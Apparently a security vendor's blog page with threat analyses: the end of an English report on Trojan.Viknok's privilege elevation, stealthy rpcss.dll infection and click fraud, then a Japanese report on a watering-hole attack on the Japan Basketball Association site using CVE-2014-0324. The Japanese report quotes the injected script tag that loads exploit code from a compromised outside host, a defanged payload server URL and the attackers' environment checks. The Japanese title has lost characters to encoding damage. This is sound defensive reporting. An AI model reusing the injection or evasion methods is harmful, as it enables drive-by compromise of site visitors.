 figure1_8.png
Figure 1. The exploit’s payload code

The code shown in the previous image shows how the threat is able to assign itself the system process’ primary access token, giving the malware the same privileges as the user with the highest administrative rights. 

How Viknok infects computers
Depending on the privileges used to initially execute Viknok, the threat may try one or more of the previously mentioned techniques. The threat’s purpose is to infect the file rpcss.dll, so that the malicious code is executed every time Windows starts. The infection of this file merely provides a loader for the core of the malware itself, which is usually stored in an encrypted file in the %System% folder.

We tested several scenarios to verify Viknok’s infection capabilities, which have been summarized in the following image.

figure2a.png
Figure 2. Some common Viknok infection scenarios

There are several conditions that may affect the outcome of the infection process, such as if the threat is manually downloaded and run, if it is dropped through an exploit or if it is dropped by the browser or a browser plugin. The previous image does not exhaust all possibilities; however it shows configurations that are commonly found in user or corporate environments.

In many cases, the infection process is completely stealthy; the threat does not show any warning to the user. The malware is also difficult to detect since it does not show any suspicious running process, nor does it infect any of the standard load points. In some cases, the threat needs to show the User Account Control (UAC) prompt to the user in order to obtain the elevation of privileges. If the user does not grant the permission, the infection will fail. However, the threat uses system components to try and load its code for privilege elevation. As a result, the UAC prompt will look like it’s a part of normal system activity, as shown in the following image.

figure3_4.png
Figure 3. Example of UAC prompt

Payload & click-fraud activity    
As mentioned previously, attackers are currently using Viknok-infected computers to perform click-fraud activity. Attackers carry out this activity using malware detected by Symantec as Trojan.Vikadclick. Once Vikadclick is loaded by the Viknok-infected rpcss.dll file, it will periodically download commands from command-and-control (C&C) servers under the attackers’ control. These commands force the compromised computer to perform network activity related to Adclick fraud. 

As a result of Trojan.Viknok infections and the related Adclick fraud, unknowing victims have been experiencing random audio playback through their compromised computers. This is believed to be caused by Trojan.Vikadclick surreptitiously visiting Web pages in the background that contain streaming audio content. Our analysis has shown that Trojan.Vikadclick’s Adclick fraud content includes car insurance for teenagers, tickets to Paris and bulk domain name registration, to name a few. 

Prevalence 
Symantec telemetry shows that Viknok activity has increased considerably in the last six months, with Symantec detecting and remediating over 22,000 unique infections in April 2014. 

figure4_3.png
Figure 4. Growth in Viknok detections in the last 6 months.

From May 1 to May 6, Symantec telemetry shows that we have detected over 16,500 unique Viknok infections. The majority of the infections have been observed in the US. The number of Viknok detections for May 2014 is on track to reach the highest amount of infections of this malware recorded to date.  

figure5_2.png       
Figure 5. Heatmap for Viknok detections in May 2014 to date.

Protection 
Symantec protects users against Viknok under the following detection names:

Antivirus detections

The non-repairable infections are related to copies of legitimate infected dlls, which can be safely deleted without affecting the computer. 

Intrusion Prevention Signatures 

For the best possible protection, Symantec customers should use the latest Symantec technologies incorporated into our consumer and enterprise solutions. Finally, always keep computers up to date with the latest virus definitions and patches.

While still a relatively newcomer on the malware threat landscape, Trojan.Viknok has shown its ability to evolve and implement sophisticated infection techniques to circumvent operating system access control mechanisms. Its use of Adclick fraud to monetize the botnet shows that this form of fraud is still a popular mean of income for malware authors. The continued spike in Trojan.Viknok activity suggests that this threat looks to become a common player on the threat landscape, so Symantec will continue to monitor it closely. Symantec is continuing to investigate how this threat arrived on victims’ computers.

IE ???????????????????????????Operation Backdoor Cut?

今年 3 月、シマンテックは Internet Explorer 8 のゼロデイ脆弱性、「Microsoft Internet Explorer のメモリ破損の脆弱性(CVE-2014-0324)」を悪用した水飲み場型攻撃の可能性についてブログでお伝えしました。シマンテックはこの攻撃について調査を続け、この攻撃の目的が日本のバスケットボール界に関係のあるユーザーを狙うことにあったと結論付け、これを「Operation Backdoor Cut(オペレーションバックドアカット)」と命名しました。こうした結論を導き出すことができたのは、長期にわたり観測した結果、この脆弱性を悪用した水飲み場型攻撃が、日本バスケットボール協会(JBA)の公式サイトのランディングページだけをホストとして利用していることが判明したためです。3 月にこのゼロデイ脆弱性が確認されて以降、シマンテックの遠隔測定では、これ以外の Web サイト上で攻撃は確認されていません。

figure1_21.png
図 1. JBA のランディングページ

JBA の Web サイトが最初に侵害されたのは 2 月中旬のことです。サイトの HTML コードに悪質なスクリプトがインジェクトされ、このスクリプトによってバックグラウンドで外部サイトから悪用コードがロードされていました。その後、このサイトは正常化されたように見えましたが、2 月下旬には再び侵害され、同様のスクリプトがインジェクトされました。そして、3 月 11 日にマイクロソフト月例パッチとして CVE-2014-0324 に対するパッチがリリースされてからわずか数時間後に、三たび悪質なスクリプトがインジェクトされます。この 3 回とも、JBA サイトにインジェクトされたのは、悪用コードをホストしている、さらに別の侵害された Web サイトにトラフィックをリダイレクトするための短いスクリプトです。この Web サイトの所在地は韓国のソウルです。この攻撃で使われているスクリプトの例を次に示します。

<script type=”text/javascript” src=”https://www.[削除済み].kr/uc/inc_jba.php”></script>

侵害されて実際に悪用コードをホストしていたのは、韓国の大手カフェチェーンに関連する Web サイトです。3 回の侵入のたびに、このサイトの別々のディレクトリにファイルが保存されていました。このサイトが、攻撃のメイン部分のホストとして選ばれたのは、著名な企業のサイトであり、企業のネットワークを監視しているセキュリティ製品やサービスから嫌疑をかけられる可能性が低いためでしょう。各ディレクトリに含まれるファイルは、以下のとおりです。

  • inc_jba.php
  • inc_front_us-en.php
  • inc_front_ja-jp.php
  • inc_front-2007.php
  • inc_front-2010.php
  • inc-module.jpg

JBA の Web サイトにインジェクトされた短いスクリプトによって、inc_jba.php ファイルに誘導されます。このファイルには、標的となったユーザーのコンピュータ環境(オペレーティングシステム(OS)のバージョン、OS の言語、インストールされている Microsoft Office のバージョンなど)の情報をチェックする JavaScript が含まれています。この JavaScript は、cookie をチェックとして使う前に、ブラウザがこのページにアクセスしたことがあるかどうかも確認します。過去にアクセスしたことがある場合、ブラウザは悪用コードに誘導されません。これは、ユーザーがセキュリティ研究者である場合を警戒した対策です。コンピュータ環境が、指定された条件を満たしている場合、ブラウザは 4 つの悪用ページのいずれかにリダイレクトされます。悪用コードは、環境に応じて次の 4 つの亜種が用意されています。

  • Windows XP – 英語(EN)
  • Windows XP – 日本語
  • x86 コンピュータの Windows 7 に Office 2007 がインストール
  • x86 コンピュータの Windows 7 に Office 2010 がインストール

実行に成功すると、悪用コードは同じディレクトリから inc_module.jpg をダウンロードして実行し、最終的なペイロードの URL を取得します。拡張子は .jpg ですが、これは画像ファイルではなく、実際にはペイロードの場所について暗号化された情報を含むデータファイルです。ブラウザは、ソウルにある別のサーバーにリダイレクトされますが、これは攻撃者が SSL プロトコルでネットワークトラフィックを暗号化して用意したものと考えられます。ソウルに置かれているサーバーの URL は以下のとおりです。

https://login[ドット]imicrosoft[ドット]org/feed

このサイトが、北京に拠点を置く企業によってレンタルされている仮想プライベートサーバー(VPS)上で管理されていた点は注目に値します。この企業は、米国と韓国にある VPS を提供することを業務にしているようです。このプロバイダが選ばれたのは、サーバーの位置情報によるものと思ってまず間違いないでしょう。ペイロードをホストしているサーバーの Geo-IP 位置情報が、攻撃の成否を左右したはずだからです。

figure2_20.png
図 2. VPS サイトのログイン画面

攻撃者は、早々に撤収して短期間で攻撃活動を終わらせる戦略を取ったか、あるいはセキュリティ研究者がペイロードをダウンロードできないようにする高度な侵入手法を編み出したか、いずれかだったと考えられます。いずれにしても、このサーバーからペイロードを取得することはできませんでした。

シマンテックが確認した限りでは、「Operation Backdoor Cut」の動機は JBA を水飲み場サイトとして利用して、そこからのトラフィックを誘導することだけだと思われます。なぜなら、他の Web サイトはまったく影響を受けていないからです。悪質なスクリプトファイルの名前(inc_jba.php)と、ページへのアクセスカウントに使われた cookie の名前(JBA20140312v2)は、どちらも JBA ページの一部であるかのように偽装されています。シマンテックがこの悪用について確認した検出結果はすべて、JBA の Web サイトからのトラフィックでした。

バスケットボール界が狙われた理由
なぜ日本のバスケットボール界が今回の標的になったのか不思議に思う方もいるでしょう。スポーツ界は国民とも政府とも深く結び付いており、バスケットボールもその例外ではありません。日本のバスケットボール界と日本政府との間には、いささか興味深い関係があります。JBA の会長は、日本の現副総理兼財務大臣です。しかも、元総理大臣でもあります。このような関係こそ、JBA サイトに水飲み場型攻撃が仕掛けられた動機かもしれません。つまり、JBA の Web サイトが、日本政府への格好の侵入口またはゲートウェイと見なされたのかもしれません。

オリンピックが動機という可能性もあります。主要なスポーツ団体のひとつである JBA は、2020 年東京オリンピックの統括機関である東京オリンピック・パラリンピック競技大会組織委員会と密接な関係があります。オリンピック関連組織が頻繁にサイバースパイ活動の標的になることは、よく知られています。たとえば 2011 年、「Operation Shady RAT」と命名された攻撃を調査したときのデータでも、いくつかのオリンピック関連組織が攻撃を受け、そのネットワークのコンピュータが侵入を受けたことが判明しています。日本オリンピック委員会(JOC)も、このとき被害を受けました。日本は昨年、2020 年のオリンピック開催地に選ばれ、現在その準備を進めています。オリンピック開催地という名誉と引き換えにサイバー攻撃が増える可能性については、日本でも十分に認識されています。実際、日本政府は今から 6 年後に開催されるオリンピック大会に備えて、サイバーセキュリティ演習を 3 月に実施したところです。しかし、攻撃はすでに始まっているかもしれず、この演習よりも前にとっくに始まっていた可能性すらあります。

政府機関、製造業、金融などの業種は標的になりやすいと言えますが、標的型攻撃を受けるリスクはどの業種でも変わりません。そのことを認識して、相応にネットワークを保護することが重要です。企業や組織は、準備を怠らず、万一ネットワークに攻撃者の侵入を許してしまった場合の対策を講じておく必要があります。

シマンテックは、「Microsoft Internet Explorer のメモリ破損の脆弱性(CVE-2014-0324)」から保護するために、以下の検出定義ファイルを提供しています。

ウイルス対策

侵入防止システム

 

* 日本語版セキュリティレスポンスブログの RSS フィードを購読するには、http://www.symantec.com/connect/ja/item-feeds/blog/2261/feed/all/ja にアクセスしてください。